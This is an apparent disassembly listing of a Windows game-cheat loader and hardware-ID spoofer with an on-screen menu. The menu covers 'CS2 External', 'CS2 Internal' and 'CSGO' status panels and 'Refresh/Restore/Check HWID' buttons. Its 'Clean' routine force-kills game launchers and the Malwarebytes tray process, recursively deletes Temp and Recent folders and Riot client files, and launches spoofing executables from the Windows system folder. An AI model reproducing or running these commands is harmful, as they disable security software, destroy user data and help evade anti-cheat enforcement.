jne 0x1400447c4
call fcn.140043100
mov rdx, qword [rbp + 0x2f8]
mov rcx, qword [rbp + 0x320]
call qword [sym.imp.USER32.dll_UnregisterClassA]
nop
lea rcx, [rbp + 0x678]
call fcn.140047160
nop
lea rcx, [rbp + 0x698]
call fcn.140047160
nop
lea rcx, [rbp + 0x638]
call fcn.140047160
nop
lea rcx, [rbp + 0x6b8]
call fcn.140047160
nop
lea rcx, [rbp + 0x658]
call fcn.140047160
nop
lea rcx, [rbp + 0x450]
call fcn.140047160
nop
lea rcx, [rbp + 0x578]
call fcn.140047160
nop
lea rcx, [rbp + 0x330]
call fcn.140047160
nop
lea rcx, [rbp + 0x558]
call fcn.140047160
nop
lea rcx, [rbp + 0x350]
call fcn.140047160
nop
lea rcx, [rbp + 0x470]
call fcn.140047160
nop
lea rcx, [rbp + 0x618]
call fcn.140047160
nop
lea rcx, [rbp + 0x530]
call fcn.140047160
nop
lea rcx, [rbp + 0x370]
call fcn.140047160
nop
lea rcx, [rbp + 0x490]
call fcn.140047160
nop
lea rcx, [rbp + 0x390]
call fcn.140047160
nop
lea rcx, [rbp + 0x4b0]
call fcn.140047160
nop
lea rcx, [rbp + 0x3b0]
call fcn.140047160
nop
lea rcx, [rbp + 0x4d0]
call fcn.140047160
nop
lea rcx, [rbp + 0x3d0]
call fcn.140047160
nop
lea rcx, [rbp + 0x4f0]
call fcn.140047160
nop
lea rcx, [rbp + 0x3f0]
call fcn.140047160
nop
lea rcx, [rbp + 0x5c8]
call fcn.140047160
nop
lea rcx, [rbp + 0x410]
call fcn.140047160
nop
lea rcx, [rbp + 0x5a0]
call fcn.140047160
nop
lea rcx, [rbp + 0x430]
call fcn.140047160
nop
lea rcx, [rbp + 0x5f0]
call fcn.140047160
nop
lea rcx, [rbp + 0x510]
call fcn.140047160
lea eax, [r12 + 1]
jmp 0x140046ff0
xor edx, edx
mov rcx, qword [0x1400abb48]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1400abb48]
call qword [sym.imp.USER32.dll_UpdateWindow]
call fcn.140005b70
mov r13, qword [0x1400abad0]
or dword [r13 + 8], 0x400
lea rcx, [rbp + 0x1a0]
call fcn.14002fa80
mov qword [r13 + 0x20], r12
mov qword [r13 + 0x28], r12
mov byte [rbp + 0x1e8], 1
mov byte [rbp + 0x1c0], 1
mov dword [rbp + 0x1b8], 3
mov dword [rbp + 0x1bc], 3
lea rcx, [rbp + 0x230]
call fcn.14002fa80
mov byte [rbp + 0x23c], 0
mov qword [rsp + 0x28], r12
lea rax, [rbp + 0x230]
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x1400911b0]
mov r8d, 0x225bc
lea rdx, [0x14006d440]
mov rcx, qword [r13 + 0xa8]
call fcn.1400301d0
lea rax, [0x140091090]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x1400911bc]
lea rdx, [0x14004eda0]
mov rcx, qword [r13 + 0xa8]
call fcn.140030330
mov rcx, qword [r13 + 0xa8]
call fcn.140030060
mov r10, qword [0x1400abad0]
mov dword [r10 + 0x1648], 0x40e00000
mov dword [r10 + 0x1660], r12d
mov dword [r10 + 0x1678], r12d
mov dword [r10 + 0x16ac], r12d
mov dword [r10 + 0x16b4], r12d
mov dword [r10 + 0x1668], r12d
mov dword [r10 + 0x1644], 0x40400000
mov dword [rsp + 0x20], 0xff
mov edx, 0x12
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x2c0]
call fcn.1400427a0
movups xmm0, xmmword [rax]
movups xmmword [r10 + 0x171c], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0x1f
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x2c0]
call fcn.1400427a0
movups xmm0, xmmword [rax]
movups xmmword [r10 + 0x176c], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0x29
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x2c0]
call fcn.1400427a0
movups xmm0, xmmword [rax]
movups xmmword [r10 + 0x178c], xmm0
mov dword [rsp + 0x20], 0xff
lea rcx, [rbp + 0x2c0]
call fcn.1400427a0
movups xmm0, xmmword [rax]
movups xmmword [r10 + 0x177c], xmm0
movss xmm15, dword [0x1400910ec]
movss dword [rsp + 0x20], xmm15
movss xmm7, dword [0x140091130]
movaps xmm3, xmm7
xorps xmm6, xmm6
xorps xmm2, xmm2
movss xmm9, dword [0x1400910f4]
movaps xmm1, xmm9
lea rcx, [rbp + 0x2c0]
call fcn.140001000
movups xmm0, xmmword [rax]
movups xmmword [r10 + 0x184c], xmm0
movss xmm14, dword [0x1400910d4]
movss dword [rsp + 0x20], xmm14
lea rcx, [rbp + 0x2c0]
call fcn.140001000
movups xmm0, xmmword [rax]
movups xmmword [r10 + 0x186c], xmm0
movss dword [rsp + 0x20], xmm14
lea rcx, [rbp + 0x2c0]
call fcn.140001000
movups xmm0, xmmword [rax]
movups xmmword [r10 + 0x185c], xmm0
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x2c0]
call fcn.1400427a0
movups xmm0, xmmword [rax]
movups xmmword [r10 + 0x174c], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0x24
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x2c0]
call fcn.1400427a0
movups xmm0, xmmword [rax]
movups xmmword [r10 + 0x18ac], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0x1e
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x2c0]
call fcn.1400427a0
movups xmm0, xmmword [rax]
movups xmmword [r10 + 0x18dc], xmm0
mov dword [rsp + 0x20], 0xff
lea rcx, [rbp + 0x2c0]
call fcn.1400427a0
movups xmm0, xmmword [rax]
movups xmmword [r10 + 0x18fc], xmm0
mov dword [rsp + 0x20], 0xff
lea rcx, [rbp + 0x2c0]
call fcn.1400427a0
movups xmm0, xmmword [rax]
movups xmmword [r10 + 0x18ec], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0x1a
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x2c0]
call fcn.1400427a0
movups xmm0, xmmword [rax]
movups xmmword [r10 + 0x172c], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0x18
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x2c0]
call fcn.1400427a0
movups xmm0, xmmword [rax]
movups xmmword [r10 + 0x17dc], xmm0
mov dword [rsp + 0x20], 0xff
lea rcx, [rbp + 0x2c0]
call fcn.1400427a0
movups xmm0, xmmword [rax]
movups xmmword [r10 + 0x17ec], xmm0
mov dword [rsp + 0x20], 0xff
lea rcx, [rbp + 0x2c0]
call fcn.1400427a0
movups xmm0, xmmword [rax]
movups xmmword [r10 + 0x180c], xmm0
mov dword [rsp + 0x20], 0xff
lea rcx, [rbp + 0x2c0]
call fcn.1400427a0
movups xmm0, xmmword [rax]
movups xmmword [r10 + 0x180c], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0x27
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x2c0]
call fcn.1400427a0
movups xmm0, xmmword [rax]
movups xmmword [r10 + 0x187c], xmm0
mov dword [rsp + 0x20], 0xff
lea rcx, [rbp + 0x2c0]
call fcn.1400427a0
movups xmm0, xmmword [rax]
movups xmmword [r10 + 0x189c], xmm0
mov dword [rsp + 0x20], 0xff
lea rcx, [rbp + 0x2c0]
call fcn.1400427a0
movups xmm0, xmmword [rax]
movups xmmword [r10 + 0x188c], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x2c0]
call fcn.1400427a0
movups xmm0, xmmword [rax]
movups xmmword [r10 + 0x181c], xmm0
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm15
xorps xmm2, xmm2
movaps xmm1, xmm15
lea rcx, [rbp + 0x2c0]
call fcn.140001000
movups xmm0, xmmword [rax]
movups xmmword [r10 + 0x181c], xmm0
xor r8d, r8d
mov edx, 0x12e8
lea rcx, [0x14009a3b0]
call fcn.140043360
mov edx, 0x12e8
mov r8d, 1
lea rcx, [0x1400990c0]
call fcn.140043360
mov edx, 0x12e8
mov r8d, 2
lea rcx, [0x14009b6a0]
call fcn.140043360
mov edx, 0xe8b7
mov r8d, 3
lea rcx, [0x14009c990]
call fcn.140043360
call fcn.1400361c0
call fcn.1400359d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x6d8], xmm0
movups xmmword [rbp + 0x6e8], xmm0
movups xmmword [rbp + 0x6f8], xmm0
mov edi, 4
lea r14, [0x1400abc40]
lea rsi, [0x1400abc30]
lea r15, [0x1400abb28]
movss xmm10, dword [0x1400911f4]
movss xmm11, dword [0x1400911ec]
movss xmm8, dword [0x14009122c]
movss xmm12, dword [0x1400911fc]
movsd xmm13, qword [0x140091150]
nop dword [rax + rax]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x6d8]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140044d40
lea rcx, [rbp + 0x6d8]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x6d8]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x1400464a3
cmp qword [0x1400abb90], 0
jne 0x140044d4f
call fcn.140035d20
mov rbx, qword [0x1400abad0]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x2c0], xmm0
lea rdx, [rbp + 0x2c0]
mov rcx, qword [0x1400abbd0]
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rbp + 0x2cc]
sub eax, dword [rbp + 0x2c4]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov eax, dword [rbp + 0x2c8]
sub eax, dword [rbp + 0x2c0]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0x10], xmm0
movss dword [rbx + 0x14], xmm1
cmp byte [0x1400ab248], 0
je 0x140044e03
mov rdi, qword [0x1400abad0]
mov ecx, dword [rdi + 0x161c]
test ecx, ecx
jns 0x140044ddc
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, r12d
test eax, eax
cmovg edx, eax
lea rcx, [rdi + 0x1618]
call fcn.140023800
mov dword [rdi + 0x1618], r12d
xor r9d, r9d
lea r8, [0x140036c20]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayMonitors]
mov byte [0x1400ab248], 0
mov edi, 4
mov qword [rbp + 0x550], r12
lea rcx, [rbp + 0x550]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rbp + 0x550]
mov rax, rcx
sub rax, qword [0x1400abbd8]
xorps xmm1, xmm1
cvtsi2ss xmm1, rax
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [0x1400abbe0]
divss xmm1, xmm0
movss dword [rbx + 0x18], xmm1
mov qword [0x1400abbd8], rcx
mov ecx, 0x11
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rbx + 0x13c], al
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rbx + 0x13d], al
mov ecx, 0x12
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rbx + 0x13e], al
mov byte [rbx + 0x13f], 0
call fcn.140036740
cmp byte [rbx + 0xcf], 0
je 0x140044eaa
mov eax, 0xffffffff
jmp 0x140044eb7
mov rax, qword [0x1400abad0]
mov eax, dword [rax + 0x20d0]
cmp dword [0x1400ab400], eax
je 0x140044eca
mov dword [0x1400ab400], eax
call fcn.1400365c0
call fcn.140036950
call fcn.140007170
cmp byte [0x14009a3a8], 0
je 0x1400462e5
mov dword [rsp + 0x70], 0x44480000
mov dword [rsp + 0x74], 0x44160000
lea rdx, [rsp + 0x70]
mov ecx, 4
call fcn.140003420
mov r8d, 3
lea rdx, [0x14009a3a8]
lea rcx, str.Windows_Client
call fcn.14000dcb0
mov ebx, edi
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov eax, dword [rbx + rdi]
cmp dword [0x1400abc50], eax
jle 0x140044f5f
lea rcx, [0x1400abc50]
call fcn.140047d38
cmp dword [0x1400abc50], 0xffffffff
jne 0x140044f5f
call fcn.1400431f0
mov qword [0x1400abc20], rax
lea rcx, [0x1400abc50]
call fcn.140047ccc
mov eax, dword [rbx + rdi]
cmp dword [0x1400abc18], eax
jle 0x140044fb0
lea rcx, [0x1400abc18]
call fcn.140047d38
cmp dword [0x1400abc18], 0xffffffff
jne 0x140044fb0
movss xmm0, dword [0x1400911e0]
movss dword [rsp + 0x20], xmm0
movaps xmm3, xmm10
movaps xmm2, xmm6
movss xmm1, dword [0x1400911e4]
mov rcx, r14
call fcn.140042fd0
lea rcx, [0x1400abc18]
call fcn.140047ccc
mov eax, dword [rbx + rdi]
cmp dword [0x1400abc10], eax
jle 0x140044ff7
lea rcx, [0x1400abc10]
call fcn.140047d38
cmp dword [0x1400abc10], 0xffffffff
jne 0x140044ff7
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm10
movaps xmm2, xmm10
movaps xmm1, xmm10
mov rcx, rsi
call fcn.140042fd0
lea rcx, [0x1400abc10]
call fcn.140047ccc
lea rcx, [rbp + 0x10]
call fcn.140011e10
movss xmm2, dword [rax]
movss dword [rsp + 0x78], xmm2
mov dword [rsp + 0x7c], 0x42200000
mov r8b, 1
lea rdx, [rsp + 0x78]
lea rcx, str.TopBar
call fcn.14000abd0
call fcn.14000ac70
mov ecx, 1
call fcn.1400429d0
lea rcx, [rbp + 8]
call fcn.140011e10
movss xmm2, dword [rax + 4]
mov dword [rbp - 0x80], 0x43480000
movss dword [rbp - 0x7c], xmm2
mov r8b, 1
lea rdx, [rbp - 0x80]
lea rcx, str.LeftSide
call fcn.14000abd0
mov rax, qword [0x1400abad0]
mov rcx, qword [rax + 0x1d18]
movss xmm0, dword [rcx + 0x11c]
subss xmm0, dword [rcx + 0x54]
addss xmm0, dword [rcx + 0xa0]
addss xmm0, dword [0x1400911cc]
call fcn.140011ca0
mov rdx, qword [0x1400abc20]
mov rax, rsi
cmp dword [rdx], 0
cmove rax, r14
mov rdx, rax
xor ecx, ecx
call fcn.1400032f0
movaps xmm1, xmm11
lea rcx, [0x140090a1c]
call fcn.140042e40
call fcn.14000a860
test al, al
je 0x1400450d0
mov rax, qword [0x1400abc20]
mov dword [rax], r12d
call fcn.14003c720
mov r11, qword [0x1400abc20]
mov rdx, rsi
cmp dword [r11], 1
cmove rdx, r14
xor ecx, ecx
call fcn.1400032f0
movaps xmm1, xmm11
lea rcx, [0x140090a20]
call fcn.140042e40
call fcn.14000a860
test al, al
je 0x140045114
mov rax, qword [0x1400abc20]
mov dword [rax], 1
call fcn.14003c720
mov r11, qword [0x1400abc20]
mov rdx, rsi
cmp dword [r11], 2
cmove rdx, r14
xor ecx, ecx
call fcn.1400032f0
movaps xmm1, xmm11
lea rcx, [0x140090a24]
call fcn.140042e40
call fcn.14000a860
test al, al
je 0x140045158
mov rax, qword [0x1400abc20]
mov dword [rax], 2
mov edx, 0xffffffff
xor ecx, ecx
call fcn.140003220
call fcn.14003c720
movaps xmm1, xmm11
lea rcx, [0x140090a28]
call fcn.140042e40
call fcn.14000a860
test al, al
jne 0x1400464b9
mov ecx, 4
call fcn.140003350
call fcn.14000ac70
call fcn.140042c70
xor edx, edx
lea ecx, [rdx + 3]
call fcn.140003220
call fcn.140042fb0
movaps xmm1, xmm0
call fcn.140042f70
movss dword [rbp - 0x78], xmm0
movss dword [rbp - 0x74], xmm1
mov r8b, 1
lea rdx, [rbp - 0x78]
lea rcx, str.RightSide
call fcn.14000abd0
mov ecx, 1
call fcn.140003350
mov r10, qword [0x1400abc20]
mov ecx, dword [r10]
test ecx, ecx
je 0x14004609e
sub ecx, 1
je 0x1400453df
cmp ecx, 1
jne 0x14004625e
mov qword [rbp - 0x70], 0
lea rdx, [rbp - 0x70]
lea rcx, str.Refresh_HWID
call fcn.14003a9c0
test al, al
je 0x140045225
lea rcx, str.start_C:WindowsSystem_rfrsh.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rbp - 0x68], 0
lea rdx, [rbp - 0x68]
lea rcx, str.Restore_HWID
call fcn.14003a9c0
test al, al
je 0x14004524e
lea rcx, str.start_C:WindowsSystem_rstr.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rbp - 0x60], 0
lea rdx, [rbp - 0x60]
lea rcx, str.Check_HWID
call fcn.14003a9c0
test al, al
je 0x140045277
lea rcx, str.start_C:WindowsSystemmac.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rbp - 0x58], 0
lea rdx, [rbp - 0x58]
lea rcx, str.Clean
call fcn.14003a9c0
test al, al
je 0x14004625e
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140047660
lea rcx, str.Taskkill__F__IM_cs2.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.Taskkill__F__IM_csgo.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.Taskkill__F__IM_steam.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.Taskkill__F__IM_EpicGamesLauncher.exe___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.Taskkill__F__IM_mbamtray.exe___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.Taskkill__F__IM_FortniteClient_Win64_Shipping.exe___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.RMDIR__s__q___C:Users_username_Recent_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.RMDIR__s__q___C:Users_username_AppDataLocalTemp_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__q__s_C:WindowsTemp
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__q__s_C:Users_username_AppDataRoamingMicrosoftWindowsRecent
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.md__C:Users_username_AppDataLocalTemp_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.md__C:Users_username_Recent_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__f__q___D:Riot_GamesRiot_Client.old
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__f__q___C:Riot_GamesRiot_Client.old
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.powershell.exe_Start_Process_cleanmgr.exe__ArgumentList__AUTOCLEAN__LOWDISK__Verb_RunAs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call fcn.140043410
test al, al
je 0x1400453c1
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0x493e0
jbe 0x1400453b8
mov r9d, 0x30
lea r8, str.Timeout
lea rdx, str.Cleanup_is_taking_longer_than_expected.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.140043410
test al, al
jne 0x140045382
xor r9d, r9d
lea r8, str.Success
lea rdx, str.Cleaned
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14004625e
call fcn.140042fb0
xorps xmm1, xmm1
cvtss2sd xmm1, xmm0
subsd xmm1, qword [0x140091170]
cvtpd2ps xmm2, xmm1
call fcn.140042f70
movss dword [rbp - 0x50], xmm0
movss dword [rbp - 0x4c], xmm2
lea rdx, [rbp - 0x50]
call fcn.14003e620
mov ebx, r12d
mov r8, qword [0x1400abc20]
mov rax, qword [r8 + 0x10]
sub rax, qword [r8 + 8]
sar rax, 5
test rax, rax
je 0x1400454a0
mov qword [rbp - 0x48], rbx
mov rcx, r12
mov rdi, r15
nop dword [rax]
nop dword [rax + rax]
mov esi, dword [r8 + 0x20]
cmp esi, ebx
sete dl
shl rcx, 5
add rcx, qword [r8 + 8]
call fcn.140047150
lea r9, [rbp - 0x48]
xor r8d, r8d
mov rcx, rax
call fcn.14003dd30
mov r8, qword [0x1400abc20]
test al, al
je 0x140045476
mov dword [r8 + 0x20], ebx
mov dword [rdi], ebx
cmp esi, ebx
jne 0x140045486
call fcn.140011650
mov r8, qword [0x1400abc20]
inc ebx
add rdi, 4
mov rax, qword [r8 + 0x10]
sub rax, qword [r8 + 8]
sar rax, 5
movsxd rcx, ebx
cmp rcx, rax
jb 0x140045440
mov qword [rbp - 0x40], 0
xor r8d, r8d
lea rdx, [rbp - 0x40]
lea rcx, str.Test
call fcn.14000abd0
test al, al
je 0x140045ea5
call fcn.140011620
mov dword [rbp - 0x38], 0x42480000
mov dword [rbp - 0x34], 0x42a00000
lea rcx, [rbp - 0x38]
call fcn.140011bd0
movss dword [rsp + 0x20], xmm14
movaps xmm3, xmm7
movaps xmm2, xmm6
movaps xmm1, xmm9
lea rcx, [rbp + 0x708]
call fcn.140001000
movss dword [rsp + 0x20], xmm14
lea rcx, [rbp + 0x718]
call fcn.140001000
movss dword [rsp + 0x20], xmm14
lea rcx, [rbp + 0x728]
call fcn.140001000
mov dword [rbp - 0x20], 0x437a0000
mov dword [rbp - 0x1c], 0x43480000
mov rax, qword [0x1400abad0]
mov rcx, qword [rax + 0x1d18]
movss xmm0, dword [rcx + 0x118]
movss xmm1, dword [rcx + 0x11c]
movss dword [rsp + 0x68], xmm0
movss dword [rsp + 0x6c], xmm1
addss xmm1, dword [0x1400911e8]
addss xmm0, dword [0x1400911f0]
movss dword [rsp + 0x60], xmm0
movss dword [rsp + 0x64], xmm1
call fcn.140011620
mov r10, rax
lea rcx, [rbp + 0x708]
call fcn.140002d20
mov r9d, eax
movss xmm0, dword [0x140091188]
movss dword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], r12d
movss dword [rsp + 0x20], xmm6
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x68]
mov rcx, r10
call fcn.14002ef40
call fcn.140011620
mov r10, rax
lea rcx, [rbp + 0x718]
call fcn.140002d20
mov r9d, eax
movss xmm0, dword [0x14009119c]
movss dword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], r12d
movss dword [rsp + 0x20], xmm6
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x68]
mov rcx, r10
call fcn.14002ef40
call fcn.140011620
mov r10, rax
lea rcx, [rbp + 0x728]
call fcn.140002d20
movss xmm0, dword [0x1400911a4]
movss dword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], r12d
movss dword [rsp + 0x20], xmm6
mov r9d, eax
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x68]
mov rcx, r10
call fcn.14002ef40
mov rcx, qword [0x1400abc20]
movsxd rbx, dword [rcx + 0x20]
test ebx, ebx
js 0x140045ea5
mov rax, qword [rcx + 0x10]
sub rax, qword [rcx + 8]
sar rax, 5
cmp rbx, rax
jae 0x140045ea5
cmp ebx, 3
ja 0x140045c94
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm6
movaps xmm2, xmm6
movaps xmm1, xmm6
lea rcx, [rbp + 0x38]
call fcn.140001000
mov rdx, rax
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm7
movaps xmm2, xmm7
movaps xmm1, xmm7
lea rcx, [rbp + 0x48]
call fcn.140001000
mov dword [rbp - 0x30], 0x3f800000
mov dword [rbp - 0x2c], 0x3f800000
mov qword [rbp - 0x28], 0
movsxd rcx, dword [r15 + rbx*4]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x30]
lea r8, [rbp - 0x28]
lea rdx, [rbp - 0x20]
lea rax, [0x140000000]
mov rcx, qword [rax + rcx*8 + 0xabb50]
call fcn.14003bc00
movss dword [rsp + 0x20], xmm15
movaps xmm3, xmm7
movaps xmm2, xmm6
movaps xmm1, xmm9
lea rcx, [rbp + 0x58]
call fcn.140001000
mov rdx, rax
mov ecx, 5
call fcn.1400032f0
movss xmm1, dword [0x14009116c]
mov ecx, 6
call fcn.1400033a0
mov dword [rbp - 0x18], 0x43a00000
mov dword [rbp - 0x14], 0x429a0000
lea rcx, [rbp - 0x18]
call fcn.140011bd0
mov dword [rbp - 0x10], 0x434d0000
mov dword [rbp - 0xc], 0x434f0000
mov edx, ebx
lea rcx, [rbp + 0x708]
call fcn.1400429b0
nop
mov r8, rax
lea rdx, str.GameChild
lea rcx, [rbp + 0x2c0]
call fcn.140047530
nop
mov rcx, rax
call fcn.140047150
mov r8b, 1
lea rdx, [rbp - 0x10]
mov rcx, rax
call fcn.14000abd0
nop
lea rcx, [rbp + 0x2c0]
call fcn.140047160
nop
lea rcx, [rbp + 0x708]
call fcn.140047160
test ebx, ebx
jne 0x1400458c8
mov r8b, 1
lea edx, [rbx + 1]
lea rcx, str.____CS2_External_Status:____
call fcn.140042cb0
lea rcx, str.Status:
call fcn.140039bb0
movaps xmm1, xmm8
movaps xmm0, xmm6
call fcn.140011b20
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm6
movaps xmm2, xmm7
movaps xmm1, xmm6
lea rcx, [rbp + 0x68]
call fcn.140001000
mov rcx, rax
lea rdx, str.Online
call fcn.140039cb0
call fcn.14003c6d0
lea rcx, str.Web:
call fcn.140039bb0
movaps xmm1, xmm8
movaps xmm0, xmm6
call fcn.140011b20
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm6
movaps xmm2, xmm7
movaps xmm1, xmm6
lea rcx, [rbp + 0x78]
call fcn.140001000
mov rcx, rax
lea rdx, str.Online
call fcn.140039cb0
call fcn.14003c6d0
lea rcx, str.Last_Update:
call fcn.140039bb0
movaps xmm1, xmm8
movaps xmm0, xmm6
call fcn.140011b20
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm7
movaps xmm2, xmm9
movaps xmm1, xmm9
lea rcx, [rbp + 0x88]
call fcn.140001000
mov rcx, rax
lea rdx, str.2_Days_Ago
call fcn.140039cb0
call fcn.14003c6d0
lea rcx, str.Version:
call fcn.140039bb0
movaps xmm1, xmm8
movaps xmm0, xmm6
call fcn.140011b20
mov dword [rsp + 0x20], 0xff
xor r9d, r9d
mov edx, 0xdc
lea r8d, [rdx - 0x1e]
lea rcx, [rbp + 0x98]
call fcn.1400427a0
lea rdx, [0x140090bfc]
jmp 0x140045c65
cmp ebx, 1
jne 0x1400459fe
movzx r8d, bl
mov edx, ebx
lea rcx, str.____CS2_Internal_Status:____
call fcn.140042cb0
lea rcx, str.Status:
call fcn.140039bb0
movaps xmm1, xmm8
movaps xmm0, xmm6
call fcn.140011b20
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm6
movaps xmm2, xmm7
movaps xmm1, xmm6
lea rcx, [rbp + 0xa8]
call fcn.140001000
mov rcx, rax
lea rdx, str.Online
call fcn.140039cb0
call fcn.14003c6d0
lea rcx, str.Web:
call fcn.140039bb0
movaps xmm1, xmm8
movaps xmm0, xmm6
call fcn.140011b20
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm6
movaps xmm2, xmm6
movaps xmm1, xmm7
lea rcx, [rbp + 0xb8]
call fcn.140001000
mov rcx, rax
lea rdx, str.Offline
call fcn.140039cb0
call fcn.14003c6d0
lea rcx, str.Last_Update:
call fcn.140039bb0
movaps xmm1, xmm8
movaps xmm0, xmm6
call fcn.140011b20
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm7
movaps xmm2, xmm9
movaps xmm1, xmm9
lea rcx, [rbp + 0xc8]
call fcn.140001000
mov rcx, rax
lea rdx, str.In_Dev
call fcn.140039cb0
call fcn.14003c6d0
lea rcx, str.Version:
call fcn.140039bb0
movaps xmm1, xmm8
movaps xmm0, xmm6
call fcn.140011b20
mov dword [rsp + 0x20], 0xff
xor r9d, r9d
mov edx, 0xdc
lea r8d, [rdx - 0x1e]
lea rcx, [rbp + 0xd8]
call fcn.1400427a0
lea rdx, [0x14008fd34]
jmp 0x140045c65
cmp ebx, 2
jne 0x140045b34
mov r8b, 1
lea edx, [rbx - 1]
lea rcx, str.____CSGO_Status:____
call fcn.140042cb0
lea rcx, str.Status:
call fcn.140039bb0
movaps xmm1, xmm8
movaps xmm0, xmm6
call fcn.140011b20
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm6
movaps xmm2, xmm7
movaps xmm1, xmm6
lea rcx, [rbp + 0xe8]
call fcn.140001000
mov rcx, rax
lea rdx, str.Offline
call fcn.140039cb0
call fcn.14003c6d0
lea rcx, str.Web:
call fcn.140039bb0
movaps xmm1, xmm8
movaps xmm0, xmm6
call fcn.140011b20
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm6
movaps xmm2, xmm6
movaps xmm1, xmm7
lea rcx, [rbp + 0xf8]
call fcn.140001000
mov rcx, rax
lea rdx, str.Offline
call fcn.140039cb0
call fcn.14003c6d0
lea rcx, str.Last_Update:
call fcn.140039bb0
movaps xmm1, xmm8
movaps xmm0, xmm6
